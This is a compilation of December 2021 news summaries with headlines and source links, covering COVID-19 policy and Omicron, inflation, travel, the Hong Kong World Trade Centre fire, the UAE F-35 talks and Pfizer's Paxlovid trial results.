at a time when our tourism industry was just beginning to recover.”</p> <p>Mr. Javid said he would consider whether travelers who were already in quarantine hotels — some of whom have complained about the conditions — would have to finish their 10-day stay. “I am told that the practice in the past was to require them to complete their quarantine period,” he said, before adding that he had “asked for urgent advice” on the issue.</p> <p>Fully vaccinated travelers coming to England from anywhere still have to show proof of a negative coronavirus test taken recently before departure, and then take a PCR test within two days of arrival and stay in quarantine until they receive a negative result.</p> <p>The travel industry argues that these rules are deeply damaging. Grant Shapps, the transport secretary, said they would be reviewed in January.</p>
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HEADLINE	12/14 Amtrak temporarily drops vaccine mandate
SOURCE	https://www.nytimes.com/2021/12/14/us/politics/amtrak-vaccine-mandate.html
GIST	Amtrak has temporarily dropped its mandate for all employees to be vaccinated against Covid-19, a requirement that the rail service had said would likely result in cuts to service.

As a result, Amtrak no longer plans to cut service next month, officials said on Tuesday.

William J. Flynn, the chief executive officer of Amtrak, said in a memo that the agency would allow employees to opt into weekly testing instead of receiving a vaccine, reverting back to a previous policy. About 97 percent of Amtrak's employees have either received a shot or an accommodation providing an exemption.

"Recently a federal district court decision halted the enforcement of the executive order for federal contractors," Mr. Flynn said. "This caused the company to reevaluate our policy and to address the uncertainty about the federal requirements that apply to Amtrak."

The shift in policy means that Amtrak officials no longer anticipate cuts to service next month, Mr. Flynn said. Last week, Stephen J. Gardner, the president of Amtrak, said that the agency expected to scale back service because 5 percent of its work force had yet to receive a vaccine ahead of a Jan. 4 deadline.

Less than 500 employees have not been vaccinated, Mr. Flynn said. Employees who fail to comply with the new policy will be placed on an unpaid leave of absence.

Amtrak officials said they will continue to update the agency's vaccine policies "as needed," according to the memo.

Still, Mr. Flynn encouraged all employees to get inoculated, especially as the nation braces for a potential wave of cases from the Omicron variant.

Jim Mathews, the president and chief executive officer of the Rail Passengers Association, said he would prefer that all of the agency's employees be vaccinated, but that Amtrak had made substantial progress so far.

"This addresses the issue without compromising safety," Mr. Mathews said in a statement. "Everyone, crews and passengers, is safest if everyone is vaccinated. But Amtrak reached huge numbers of vaccinations within their staffs, and that's to their credit."

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HEADLINE	12/14 Toy prices up 18% since last Christmas
SOURCE	https://www.washingtontimes.com/news/2021/dec/14/ho-ho-how-much-toy-prices-rise-18-just-time-christ/
GIST	<p>Parents doing last-minute Christmas shopping might want to reconsider a lump of coal as a stocking stuffer: Toy prices climbed 18% between November 2019 and last month, industry sources point out.</p> <p>What's more, some parents will find "higher prices and empty shelves" if they're still looking for certain items, a leading economist says.</p> <p>"Parents should try not to rely on deliveries," said Christine McDaniel, a senior research fellow at George Mason University's Mercatus Center free-market think tank. "This year, what you see on the shelf is what you can get."</p> <p>The average selling price (ASP) for toys jumped 15% from November 2019 to November 2020 and another 3% from November 2020 to last month, said Juli Lennett, a U.S. toy industry adviser at market researcher The NPD Group. The trend is driven by rising demand for high-dollar toys, a shrinking number of holiday promotional discounts and supply chain-related inflation, she said.</p> <p>"There are toys like Hot Wheels singles that sell 70-million-plus units per year for \$0.99, and, on the other side, there will be swing sets that cost well over \$1,000 each, and there are prices everywhere in between," Ms. Lennett said. "When the mix of products sold shifts dramatically to higher-priced toy categories, even when ASP remains flat, the ASP goes up for the total toy industry."</p>

U.S. retailers started offering holiday deals weeks before Black Friday this year, but toy manufacturers offered fewer promotions last month and more consumers bought toys at the regular price rather than at a discount, Ms. Lennett said.

And shoppers will not find any new promotional deals closer to Dec. 25, she added.

“For the first time since 1997, parents doing last-minute Christmas shopping are finding toys more expensive than prior years,” said Joel Griffith, a senior fellow at the conservative Heritage Foundation.

A spokesperson for the Toy Association trade group said Tuesday that the price of many popular toys remains 5% to 10% higher this month than last year, but declined to comment further.

Peter C. Earle, an economist at the American Institute for Economic Research free-market think tank in Massachusetts, said inflation has created some problems for shipping toys and finding components needed to make them.

“The first one is ongoing problems with shipping and trucking delays, but that’s for finished toys,” he said. “In toy production, last year’s lockdowns plus Hurricane Ida in August 2021 saw plastic and resin manufacturers go offline, so prices of those commodities have risen sizably over the last few months too.”

He said inflation, a “product of lots of money chasing too few goods,” has been highest for toys that rely on plastics and computer chips now in short supply.

“So to the extent that shipping problems and plastic and resin prices are weighing heavily upon supply, and the total amount of finished goods is less than usual, inflation may push those prices up even higher,” Mr. Earle said.

Ms. McDaniel, the economist, said it would be wiser for parents at this point to “buy the last Monopoly board game” for \$20 at a local Target than order something cheaper from Amazon and not have delivery guaranteed by Christmas.

“The chip shortage, supply chain crunch and inflation are hitting products differently,” said Ms. McDaniel, a former deputy assistant secretary of the U.S. Treasury.

Ms. Lennett, the toy industry adviser, said she believes toy prices will drop again when consumers return to normal shopping habits from the “pandemic lifestyle” of buying high-priced toys.

“When, and if, there is a complete end to the ‘pandemic lifestyle’ is anyone’s guess,” she said.

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HEADLINE	12/15 Hong Kong shopping tower fire; 150 on roof
SOURCE	https://www.theguardian.com/world/2021/dec/15/hong-kong-world-trade-center-fire-reports-dozens-trapped-inside-shopping-centre
GIST	<p>About 150 people are trapped on the roof of a shopping centre and office complex in Hong Kong after a fire broke out in one of the city’s busiest shopping districts.</p> <p>Smoke billowed from the World Trade Centre in the Causeway Bay district at around noon on Wednesday.</p> <p>Firefighters were battling the blaze with two water jets, the government said.</p> <p>Broadcaster RTHK quoted police as saying about 100 people moved from a restaurant to the 39th floor when the fire broke out and smoke filled the dining area.</p>

	<p>Seven women and a man were among the eight people taken to hospital, one of them semi-conscious, police said.</p> <p>The cause of the fire remains unclear, though the South China Morning Post reported that it broke out in an electrical switch room. Portions of the building are being renovated, and its lower levels are shrouded in scaffolding.</p> <p>Police were seen directing passersby away from the site as firefighters rescued dozens of people from the building's lower levels via ladders.</p> <p>The fire was raised to a level three alert at around 1pm, out of a ranking system of five levels, with five being the most severe.</p> <p>Firefighters used an extendable ladder to rescue people trapped in a narrow space at an outdoor area on the fifth floor. Relatives of those trapped soon arrived at the scene. A family member of a woman trapped on a fifth-floor rooftop area told Stand News the situation was chaotic.</p> <p>The fire comes amid the busy festive season, at one of the city's most popular shopping districts.</p>
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HEADLINE	12/14 German economy on brink of recession
SOURCE	https://www.cnn.com/2021/12/14/economy/germany-recession-omicron/index.html
GIST	<p>London (CNN Business)Germany is teetering on the brink of recession this winter as supply bottlenecks and a wave of new coronavirus cases hobble the economy.</p> <p>Europe's largest economy will shrink 0.5% in the fourth quarter of this year, compared with the third, and stagnate in the first three months of 2022, according to projections published Tuesday by the Ifo Institute for Economic Research. An economy is in recession when it contracts for two consecutive quarters.</p> <p>"Ongoing supply bottlenecks and the fourth wave of the coronavirus are noticeably slowing down the German economy," Timo Wollmershäuser, head of forecasts at Ifo, said in a statement. "The strong post-pandemic recovery that was originally expected for 2022 still hasn't materialized."</p> <p>Growth is expected to pick up next summer as a wave of coronavirus cases subsides and supply bottlenecks ease, but the slow start to the year will cost the manufacturing powerhouse. Ifo slashed its growth forecast for 2022 by 1.4 percentage points to 3.7%.</p> <p>Ifo expects inflation to increase by 3.1% this year and 3.3% in 2022, rates that far exceed the European Central Bank's target of 2%. Consumer prices are not expected to return to normal until 2023, according to Ifo.</p> <p>The dour outlook comes as countries around the world brace for a potential tidal wave of coronavirus cases caused by the Omicron variant, which could add pressure to stretched global supply chains and force central banks to rethink plans to withdraw support for the economy.</p> <p>Last week, Germany recorded its highest number of daily deaths from Covid-19 since February, as it struggled to bring a fourth wave of the pandemic under control. Earlier this month, it banned unvaccinated people from accessing all but the most essential businesses, such as supermarkets and pharmacies, as part of new restrictions.</p> <p>The International Energy Agency warned on Tuesday that a surge in cases would slow the recovery in global oil demand. The group downgraded its oil demand forecast by roughly 100,000 barrels per day for both 2021 and 2022, saying that air travel and jet fuel would be most affected.</p>

	<p>The price of Brent crude, the global benchmark, has dropped about \$10 per barrel since the start of November to under \$75. Still, the IEA said that the hit to the economy would be less severe than previous waves of the virus.</p> <p>"New containment measures put in place to halt the spread of the virus are likely to have a more muted impact on the economy versus previous Covid waves, not least because of widespread vaccination campaigns," the agency said in its monthly report for December.</p>
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HEADLINE	12/14 Travel industry getting hit again
SOURCE	https://www.cnn.com/2021/12/14/investing/premarket-stocks-trading/index.html
GIST	<p>London (CNN Business)The Omicron variant of the coronavirus is spreading fast. But even as scientists urge patience while they assess the severity of the strain and its impact on the efficacy of vaccines, the travel industry is feeling the pain.</p> <p>"We've seen a little bit of a waver in the bookings," Nick Calio of the lobby Airlines for America said during an industry press briefing on Monday.</p> <p>What's happening: The S&P 500 finished last week at a record close. But stocks in hotels, tour providers and airlines — which required emergency funding to make it through previous Covid-19 waves — remain vulnerable to Omicron fears.</p> <p>Shares of American Airlines (AAL) fell 5% on Monday, as did cruise line Carnival Corporation (CCL). Marriott International (MAR) dropped more than 4%.</p> <p>These stocks have seen significant moves in both directions in recent weeks. But industry leaders are making clear that tighter government rules around travel, as well as customer anxieties, are having an impact.</p> <p>In a letter to UK Prime Minister Boris Johnson, the chief executives of British Airways, Virgin Atlantic, Ryanair (RYAAY) and easyJet said "haphazard and disproportionate" travel restrictions risk "permanent scarring" of the industry.</p> <p>They're urging the government to scrap all emergency testing for fully vaccinated passengers.</p> <p>Willie Walsh, head of the International Air Transport Association, said at a press briefing last week that when new variants are discovered, airlines bear the brunt of the economic damage. He pointed to "reductions in capacity following the new travel restrictions that were introduced recently."</p> <p>"We cannot keep shutting down aviation and shutting down economies, when in reality, it's not providing any measures to restrict the transmission of the virus and more importantly, it's doing huge damage to the industry," Walsh said.</p> <p>An unprecedented drop-off in passengers due to the pandemic has led to almost \$700 billion in revenue losses for airlines, according to an assessment published last week by the UN's International Civil Aviation Organization.</p> <p>Some companies will need help to withstand another blow. Take Virgin Atlantic. Billionaire Sir Richard Branson's Virgin Group and Delta Air Lines said Monday that they were pumping £400 million (\$530 million) into the carrier, which doesn't expect to return to "sustainable profitability" until 2023.</p> <p>And yet: There are signs that despite the uncertainty, Covid-fatigued passengers are determined to keep flying, which may limit the impact.</p>

	The US Transportation Security Administration is preparing for a crush of travelers over the holidays. About 2.1 million people passed through airport security checkpoints this past Sunday.
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HEADLINE	12/14 Wholesale prices quickest pace on record
SOURCE	https://www.cnbc.com/2021/12/14/wholesale-prices-measure-rises-9point6percent-in-november-from-a-year-ago-the-fastest-pace-on-record.html
GIST	<p>Wholesale prices increased at their quickest pace on record in November in the latest sign that the inflation pressures bedeviling the economy are still present, the Labor Department reported Tuesday.</p> <p>The producer price index for final demand increased 9.6% over the previous 12 months after rising another 0.8% in November. Economists had been looking for an annual gain of 9.2%, according to FactSet.</p> <p>Excluding food, energy and trade services prices rose 0.7% for the month, putting core PPI at 6.9%, also the largest gain on record. Estimates were for respective gains of 0.4% and 7.2%, meaning the monthly gain was faster than estimates but the year-over-year measure was a bit slower.</p> <p>The Labor Department's record keeping for the headline number goes back to November 2010, while the core calculation dates to August 2014.</p> <p>Those numbers come with headline consumer prices running at their fastest pace in nearly 40 years and core inflation the hottest in about 30 years.</p> <p>Demand for goods continued to be the bigger driver for producer prices, rising 1.2% for the month, a touch slower than the 1.3% October increase. Final demand services inflation ran at a 0.7% monthly rate, much faster than the 0.2% October rate and a sign that the services side could be catching up in prices after lagging through much of the recovery.</p> <p>Stock indexes were mixed following the release, as investors see inflation and the strong potential for a Federal Reserve policy response as threats to what has been a boom year for equities.</p> <p>The Fed begins its two-day meeting Tuesday, with expectations running high that it will remove its economic help more quickly and start raising interest rates around the middle part of 2022.</p> <p>Fed officials for months had been insisting that inflation was "transitory" and closely tied to Covid pandemic-related factors that eventually would fade. However, in recent days Chairman Jerome Powell and others have indicated that word no longer is appropriate and likely will be dropped from future central bank communications.</p> <p>Supply chain bottlenecks and surging demand have been the primary drivers of inflation, and have eased only marginally.</p> <p>Final demand energy prices jumped another 2.6% in November despite sliding crude prices, while food was up 1.2%. Transportation and warehousing increased 1.9%, while portfolio management spiked 2.9%.</p> <p>Elsewhere, iron and steel scrap prices surged 10.7%, and a host of others costs including gasoline, fruits and vegetables and industrial chemicals also increased. Diesel fuel costs were down 2.6% for the month, while chemicals and allied products wholesaling declined 1.3%.</p>
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HEADLINE	12/14 Pandemic? Miami airport sets travel record
SOURCE	https://apnews.com/article/coronavirus-pandemic-science-health-business-travel-76aa9de984f961234469390f54f2af8a

GIST	<p>MIAMI (AP) — Miami International Airport is finally seeing more passengers than it served before the pandemic, and set new records for Thanksgiving holiday travel despite growing concerns about the spread of the omicron variant.</p> <p>About 3.9 million passengers passed through security last month, a 6% rise from 3.7 million ticketed passengers in November 2019, airport officials said Monday.</p> <p>It's a clear indicator that tourism is rebounding despite mounting worries of a new surge in hospitalizations from COVID-19, which has already killed about 800,000 people in the U.S. alone, the Miami Herald reported.</p> <p>"The airport data is certainly a positive sign, but there's a fair amount of apprehension among travelers who are scientifically literate," said Gary Deel, a travel industry consultant based in the Orlando area, told the Herald. "Until we reach a level of hard immunity in the U.S., with the newest wave of news coverage of each variant, you're going to see dips in travel that correlate with the rises of new variants."</p> <p>Some travelers could potentially be discouraged by public health requirements, such as the recent U.S. requirement for international travelers presenting negative COVID-19 tests within one day of their flights, Deel said.</p> <p>Miami is one of the top search destinations on travel websites and statewide, Florida had 32.5 million travelers from July to September of this year, exceeding the number of visitors during that period in pre-pandemic 2019, Florida Gov. Ron DeSantis said recently.</p> <p>His anti-lockdown and pro-business stance enabled one of Florida's main economic engines to flourish even as tourism dropped in other parts of the country.</p> <p>Thanksgiving holiday travel, the full return of Miami Art Week and the end of U.S. travel restrictions for non-U.S. citizens coming from 33 countries helped boost November numbers. On the Sunday after Thanksgiving, the airport recorded its busiest day on record with 164,000 passengers. And during the entire 12-day Thanksgiving travel period, 1.7 million passengers passed through the airport, 14% more than the same period in 2019.</p> <p>The airport expects record-high passenger volume to continue through December, the Herald reported. The average number of daily departing flights is up almost 12% compared to December 2019. And the airport recorded its second-busiest day on Sunday, with 163,000 passengers, officials said.</p>
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HEADLINE	12/14 UAE suspends US talks on F-35 jets
SOURCE	https://www.reuters.com/business/aerospace-defense/uae-threatens-pull-out-23-bln-f-35-drone-deal-with-us-wsj-2021-12-14/
GIST	<p>DUBAI/WASHINGTON, Dec 14 (Reuters) - The United Arab Emirates has informed the United States that it will suspend discussions to acquire F-35 fighter jets, a UAE official said on Tuesday, part of a \$23 billion deal with the ally that also includes drones and other advanced munitions.</p> <p>The sale of 50 F-35 warplanes made by Lockheed Martin (LMT.N) to the UAE had slowed amid concerns in Washington over Abu Dhabi's relationship with China, including use of Huawei 5G technology in the country.</p> <p>"Technical requirements, sovereign operational restrictions, and cost/benefit analysis led to the re-assessment," the UAE official said in a statement to Reuters that confirmed a report in the Wall Street Journal.</p>

"The U.S. remains the UAE's preferred provider for advanced defense requirements and discussions for the F-35 may be re-opened in the future," the official said, adding there were discussions to "address mutual defense security conditions for the acquisition".

The UAE had signed an agreement to purchase 50 F-35 jets and up to 18 armed drones, people familiar with the situation [told Reuters](#) in January.

Earlier, at the Pentagon, spokesman John Kirby had said the U.S. partnership with the UAE was more strategic and complex than a weapons sale and Washington was committed to working with Abu Dhabi to address their questions.

"We will always insist, as a matter of statutory requirements and policy, on a variety of end use requirements," Kirby said.

He added that a meeting between U.S. and UAE officials at the Pentagon later this week was set to be about broad topics but anticipated that the weapons sale would come up.

Kirby referred questions about details of specific arms sales to the State Department.

A State Department official, speaking on the condition of anonymity, said that the Biden administration was committed to the proposed sales of the F-35 aircraft along with the MQ-9B and munitions.

"We are hopeful that we can work through any outstanding issues," the official said.

Lockheed Martin Corp referred requests for comment to the U.S. and UAE governments.

The UAE, one of Washington's closest Middle East allies, had long expressed interest in acquiring the stealthy F-35 jets, and was promised a chance to buy them in a side deal when it agreed to normalize relations with Israel in August 2020.

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HEADLINE	12/14 Dutch extend Covid restrictions
SOURCE	https://www.reuters.com/world/europe/dutch-consider-early-christmas-break-schools-limit-covid-19-spread-2021-12-14/
GIST	<p>AMSTERDAM, Dec 14 (Reuters) - The Netherlands will extend COVID-19 restrictions through the Christmas holidays, including the early closure of schools, Dutch Prime Minister Mark Rutte said on Tuesday.</p> <p>The rapid spread of the Omicron variant of the coronavirus, which is making up roughly 1% of new infections in the country, "is a reason to be concerned and to be cautious," Rutte said in a televised comments.</p> <p>Elementary schools will close a week early to try to prevent children from infecting older family members during Christmas as hospitals struggle with a wave of COVID-19 patients.</p> <p>Rutte said a second Christmas "during which grandparents couldn't hug their grandkids under the tree" was a painful necessity.</p> <p>Booster vaccine shots to improve immunity against the Omicron variant will be offered to all Dutch adults before the end of January, Health Minister Hugo de Jonge said.</p> <p>Other restrictions in place since Nov. 28, including the closing of restaurants, bars, non-essential stores and other public places from 5 p.m. to 5 a.m., the barring of all spectators from sporting events, and advice to work from home as much as possible were extended through Jan. 14.</p>

	<p>Infections in the country of 17.5 million have dropped from record levels following the introduction of the nighttime lockdown, but remain relatively high at around 85 per 100,000 inhabitants.</p> <p>The number of COVID-19 patients in hospitals has remained among the highest levels of the year and hospitals throughout the country have been ordered to postpone all non-emergency operations for weeks to free up beds in intensive care units.</p> <p>As infections remain highest among young children, experts had advised the government to close schools a week earlier.</p> <p>The Netherlands has registered almost 2.9 million coronavirus infections, with 20,214 related deaths.</p>
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HEADLINE	12/14 Official warns: Covid explosion imminent
SOURCE	https://www.axios.com/omicron-coronavirus-cases-europe-us-c85be94d-8edf-4d61-9f05-de924bff6760.html
GIST	<p>New data from South Africa and Europe hint that Omicron cases are poised to explode in the U.S., where the vast majority of the population isn't well protected against infection.</p> <p>Driving the news: A new analysis by South Africa's largest private insurer paints a picture of Omicron's clinical risk: Two doses of Pfizer's vaccine appear to be significantly less effective against severe disease with Omicron than previous variants.</p> <ul style="list-style-type: none"> • But the variant is less likely to lead to hospitalization in adults than the original version. <p>What they're saying: "Everything points to a large wave. A large wave is coming," a senior Biden administration official told Axios.</p> <ul style="list-style-type: none"> • "It will be fast. It won't be as severe, but regrettably, there will be plenty of hospitalizations," the official added. <p>By the numbers: The South African analysis, by Discovery Health, found that the risk of hospital admission among adults diagnosed with the Omicron variant is 29% lower than it was during South Africa's first wave of infections in 2020. The researchers adjusted their calculations by vaccination status.</p> <ul style="list-style-type: none"> • Their vaccine effectiveness analysis included more than 211,000 positive COVID-19 test results, from which 41% were from adults who'd received two doses of the Pfizer-BioNTech vaccine. • During the current Omicron wave, the two-dose regimen was 70% effective against severe disease requiring hospital admission. (Vaccine effectiveness is measured against the same risk in the unvaccinated.) <p>Yes, but: It also found that two doses of the Pfizer vaccine are only 33% effective against infection from Omicron.</p> <p>The big picture: A dramatic surge in cases could still overwhelm our burnt-out health system if even a small percentage require hospital care.</p> <ul style="list-style-type: none"> • The analysis found that vaccinated elderly people have slightly less protection against hospitalization, reinforcing the importance of booster shots in this age group. • They found children had a 20% higher risk of hospital admission than they did from previous variants. <p>State of play: The Delta variant is already driving yet another surge of cases and hospitalizations in the U.S. Omicron seems poised to make this significantly worse, given its high transmissibility and its ability to evade immune protection.</p> <ul style="list-style-type: none"> • In Denmark, where about 80% of the population has been vaccinated, three-fourths of Omicron cases are among fully vaccinated people, and another 9% are among those who have received a booster shot, according to a report released by the Statens Serum Institut yesterday. • European countries have also been reporting that the variant is spreading rapidly, with cases doubling every two to three days.

	<ul style="list-style-type: none"> Omicron's "exponential rise could take us to levels of even 1 million cases per day in the United States, which previously would have been considered an unthinkable projection," Scripps Research's Eric Topol wrote yesterday on Substack. <p>Yes, but: We don't have nearly enough data yet to make any firm predictions.</p> <ul style="list-style-type: none"> In South Africa, for example, case growth also appears to be slowing down, and there have been reports that hospitalized adults are less sick than in previous waves. "The chances that those vaccines will continue to provide protection against serious illness against Omicron are very good," said Paul Offit, director of the Vaccine Education Center at Children's Hospital of Philadelphia. <p>The bottom line: "Frankly we don't have enough reliable, robust data at this point to give a clear direction as to what this will look like in the weeks to months ahead," said Michael Osterholm, director of the Center for Infectious Disease Research and Policy at the University of Minnesota.</p> <ul style="list-style-type: none"> But there is certainly a strong possibility that a lot of Americans are about to get sick — soon.
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HEADLINE	12/14 Hospitals worry: pushed to breaking point
SOURCE	https://thehill.com/policy/healthcare/585664-hospitals-worry-rising-case-counts-will-push-them-past-breaking-point
GIST	<p>Hospitals increasingly are worried that a growing number of COVID-19 cases in several states will push them beyond their breaking point, even before the omicron strain really hits U.S. shores hard.</p> <p>Already dealing with depleted workforces, hospitals are juggling a continuing flood of patients infected with the still-dominant delta strain, along with more patients seeking attention for worsening conditions after delaying care earlier in the pandemic.</p> <p>Several states, particularly in the Northeast and Midwest, have called for support in recent days to alleviate the demand already pummeling hospitals ahead of the holiday season and any potential major spread of the omicron variant.</p> <p>Some public health experts worry that omicron could only make things worse, even in an optimistic scenario where the new variant doesn't lead to deadly cases.</p> <p>"Some of our hospitals are already at breaking points, so anything additional on top of them will only make it worse," said Leana Wen, an emergency physician and public health professor at George Washington University.</p> <p>Fourteen states report their overall inpatient bed capacity has surpassed 80 percent as of Monday, with Rhode Island, Maryland, Michigan and Massachusetts topping the list. More than half of states say their intensive care units are more than 80 percent full, according to Health and Human Services data.</p> <p>Nationwide, hospitalizations are climbing, with the seven-day average for daily hospitalizations approaching 66,000 as of Sunday in a 23 percent increase from two weeks earlier, according to data from The New York Times.</p> <p>Still, hospitals in some hot spots face even greater admission surges. Indiana's largest hospital system requested help from the National Guard last week for most of its locations as hospitalizations for COVID-19 and non-COVID-19 patients "reach all-time highs" and demand "has never been greater."</p> <p>"Managing those surges alongside all of the other incredibly vital reasons that patients come to the hospital — that's what makes this moment different than earlier in the pandemic and every bit as challenging as all the other moments in the pandemic," said Akin Demehin, the American Hospital Association's (AHA) director of policy.</p>

Leaders in Minnesota hospitals took out a full-page newspaper ad on Sunday warning that they are “heartbroken” and “overwhelmed” as their beds fill to capacity during a COVID-19 surge.

New Hampshire and Maine officials also announced the National Guard’s deployment last week to assist with its overwhelmed hospitals. Massachusetts instructed its hospitals to further reduce elective procedures amid a “critical staffing shortage,” and Maryland directed its hospitals to update their emergency plans and maximize hospital bed capacity.

Bob Atlas, president and CEO of the Maryland Hospital Association, said the state is trying to “avert a real crisis” as 85 percent of its inpatient beds are in use.

“We’re already maxed out in terms of available space,” he said. “More importantly ... staffing is strained to almost the breaking point. Most of our hospitals are keeping their capacity open with agency or travel personnel, which is extremely costly.”

“We need everybody to help with this,” he said. “Particularly with Christmas, New Year’s coming up, the risks of overwhelming our hospital system a couple weeks later are really very real if people are not careful.”

Hospitals are not yet dealing with significant admissions related to the omicron strain, as the Centers for Disease Control and Prevention (CDC) estimates 99.9 percent of COVID-19 cases nationwide can be traced to the delta variant.

It’s unclear if and how the omicron strain could affect the demand on hospitals. Preliminary data suggests that the omicron strain may cause less severe illness but could be more transmissible than the delta strain.

“If omicron is both more contagious and more virulent, it would quickly overwhelm hospitals,” said Nancy Foster, the AHA’s vice president of quality and patient safety policy.

“If it’s more contagious and not as virulent, it may fill hospitals ... if it becomes widespread across the community,” she added.

Despite this data indicating a possibly less severe disease, Wen, of George Washington University, noted that a more contagious variant could ultimately lead to more infections and thus hospitalizations.

“Just by sheer numbers, we could still end up having a large number of individuals getting severely ill and needing hospital care ... even if it is a milder disease,” she said.

But David Dowdy, an associate professor of epidemiology at the Johns Hopkins Bloomberg School of Public Health, said the omicron strain likely won’t overtake the delta variant in the next three to four weeks before the worst of the flu season.

“What we may see is kind of a prolonged, flattened peak, as opposed to a huge spike, which, again, on a national level would be a good thing,” he said. “The problem is that that prolonged peak may be hiding big spikes happening in certain cities, certain counties, one after the other.”

Early data has indicated that the two-dose COVID-19 vaccines induce a lower antibody response to the omicron strain compared to previous variants, suggesting that more fully vaccinated and previously infected people could get infected.

But there’s a growing body of evidence supporting that booster doses provide significantly more protection against the strain. A quarter of the U.S. population has received a booster dose, CDC data shows, while 60 percent are fully vaccinated.

	<p>Although vaccines are expected to have waning immunity over time, with more people getting boosted and more vaccinations overall this winter, Dowdy said he doesn't expect hospitalizations to reach last winter's surge levels.</p> <p>"It's still uncertain how things are going to play out, but chances are, it's not going to be as bad as last year," Dowdy said. "So that uncertainty is not a reason to panic."</p>
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HEADLINE	12/14 Pfizer Covid pill staves off severe disease
SOURCE	https://www.nytimes.com/live/2021/12/14/world/covid-omicron-vaccines#pfizer-covid-pill-paxlovid
GIST	<p>A highly anticipated study of Pfizer's Covid pill confirmed that it helps stave off severe disease, the company announced on Tuesday.</p> <p>Pfizer also said its antiviral pill worked in laboratory studies against the Omicron variant, which is surging in South Africa and Europe and is expected to dominate U.S. cases in the weeks ahead.</p> <p>"We are confident that, if authorized or approved, this potential treatment could be a critical tool to help quell the pandemic," Albert Bourla, Pfizer's chief executive, said in a statement.</p> <p>Last month, Pfizer asked the Food and Drug Administration to authorize the pill, known as Paxlovid, based on a preliminary batch of data. The new results will undoubtedly strengthen the company's application, which could mean that Americans infected with the virus may have access to the pill within weeks.</p> <p>In Tuesday's announcement, Pfizer said that if given within three days of the onset of symptoms, Paxlovid reduced the risk of hospitalization and death by 89 percent. If given within five days, the risk was reduced almost as much, to 88 percent.</p> <p>The results, based on an analysis of 2,246 unvaccinated volunteers at high risk of severe disease, largely match the company's initial, smaller analysis of the clinical trial, released last month.</p> <p>Pfizer said that 0.7 percent of patients who received Paxlovid were hospitalized within 28 days of entering the trial, and none died. By contrast, 6.5 percent of patients who received a placebo were hospitalized or died.</p> <p>Pfizer also released preliminary data from a separate trial looking at people with a lower risk. These volunteers including vaccinated people who carried a risk factor for severe disease, as well as unvaccinated patients with no risk factors.</p> <p>Among this group of 662 volunteers, Paxlovid reduced the risk of hospitalization and death by 70 percent, the company said.</p> <p>Mikael Dolsten, the chief scientific officer of Pfizer, was exuberant about the results after having overseen the development of the drug since the spring of 2020, with more than 200 company scientists crafting the molecule and then testing it in animals and people.</p> <p>While the drug was in development, Dr. Dolsten held out hope that it might be 60 percent effective. Its true potency left him stunned. "We really hit the top of the board," he said in an interview.</p> <p>In both trials, most of the volunteers were infected with the Delta variant. But Pfizer said on Tuesday that in laboratory experiments, Paxlovid also performed well against the highly mutated Omicron variant. The drug jams into one of Omicron's key proteins — called a protease — just as effectively as it does with other variants, Pfizer found.</p> <p>Pfizer's good news came as its rival, Merck, awaited word on authorization of its own antiviral pill, known as molnupiravir. In October, Merck and its partner Ridgeback Biotherapeutics announced that the pill</p>

	<p>reduced the risk of hospitalization and death from Covid-19 by 50 percent if taken within five days of the onset of symptoms.</p> <p>But once the companies carried out a final analysis on all their data, the effectiveness dropped to 30 percent. At an F.D.A. advisory committee meeting last month, a number of experts reacted coolly to this modest effectiveness, especially given some concerns about the safety of the pill.</p> <p>The committee narrowly voted in favor of molnupiravir's authorization. But now, two weeks later, the F.D.A. has yet to announce whether it will do so. In the meantime, France has turned down Merck's application, citing its modest effectiveness and concerns about safety. Britain authorized molnupiravir last month.</p> <p>Dr. Dolsten said that Pfizer would have 180,000 courses of treatment ready if Paxlovid was authorized soon and that the company planned to make 80 million courses available worldwide in 2022.</p> <p>Pfizer stands to make a huge amount of money from the drug. The investment bank SVB Leerink estimated that Paxlovid would bring in \$24 billion in global revenue in 2022 and \$33 billion in 2023. That would give Paxlovid one of the highest single-year sales of any medical product in history.</p> <p>To date, only one other product has brought in more: Pfizer's Covid vaccine.</p>
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HEADLINE	12/14 Vaccinating started year ago; since then?
SOURCE	https://www.nytimes.com/live/2021/12/14/world/covid-omicron-vaccines#the-us-started-vaccinating-a-year-ago-heres-how-it-has-gone-since-then
GIST	<p>Exactly a year ago, on Dec. 14, 2020, the United States watched as a nurse in Queens became the first person in the nation to receive a coronavirus vaccine outside a clinical trial.</p> <p>For many people, that moment, less than a year after the discovery of the virus, was a turning point in the pandemic, raising hopes for light at the end of the pandemic tunnel.</p> <p>But a year later, that bright moment has turned bittersweet. The world is still grappling with a deadly virus that many thought would be vanquished by now, and the need for vaccination — undisputed scientifically — has become a political and social question dividing the country.</p> <p>The number of fully vaccinated Americans surpassed 200 million — just over 60 percent of the population — earlier this month, but the road to that milestone was not straight or smooth. Millions more who could have been vaccinated by now have yet to receive a dose, and many of them insist they never will.</p> <p>“I was hoping for a faster sprint across the finish line,” Sandra Lindsay, 53, the nurse who got the first shot, said this week in an interview. “And we have not seen that. We have more work to do here in the U.S., although we’ve made tremendous progress.”</p> <p>Two groups deemed most at risk were first in line to get shots last winter: older Americans and frontline health care workers like Ms. Lindsay, who is the director of critical care nursing at Long Island Jewish Medical Center.</p> <p>In the early going, demand far exceeded capacity, and people hunted high and low for appointments, sometimes driving long distances. Even as millions of people in those groups waited in line, big companies were already lobbying state officials to be next.</p> <p>With virus cases soaring to record levels after the 2020 holidays, officials in many states moved to expand vaccine eligibility.</p>

By mid-March, with daily case reports back down where they had been before the winter surge, state officials began to loosen restrictions, and more people began leaving their homes again and resuming aspects of normal life that they had forgone for months. The Centers for Disease Control and Prevention delivered [new recommendations](#) in March saying that vaccinated people could safely mingle in small groups without masks, and by May, the nation seemed to have [turned a corner](#).

But as the pandemic appeared to dwindle in the United States, so did the appetite for the vaccines. [Vaccine skepticism](#), often fueled by misinformation and political posturing, discouraged a significant number of people from getting shots.

Though supplies were ample, the pace of vaccine administration fell from an average of nearly 3.4 million doses a day in early April to just over 500,000 a day by early August, though the numbers surged after the emergence of the worrisome Delta and Omicron variants.

Federal regulators expanded eligibility to teenagers, and then to children as young as 5, steps that reassured some families and divided others. Many parents said they were [reluctant](#) to get their children vaccinated, leading some [defiant minors](#) to try to get shots on their own.

By the summer, there were clear signs that the vaccines' effectiveness would diminish with time and with the evolution of new variants, and that additional doses were needed, first for older and more vulnerable Americans and then for everyone. Soon, health care providers were seeing [more people come in for booster shots](#) than for initial doses.

Frustrated leaders in government and industry began turning to vaccine mandates to push rates upward — moves that have been successful but have often met with dogged resistance and many lawsuits.

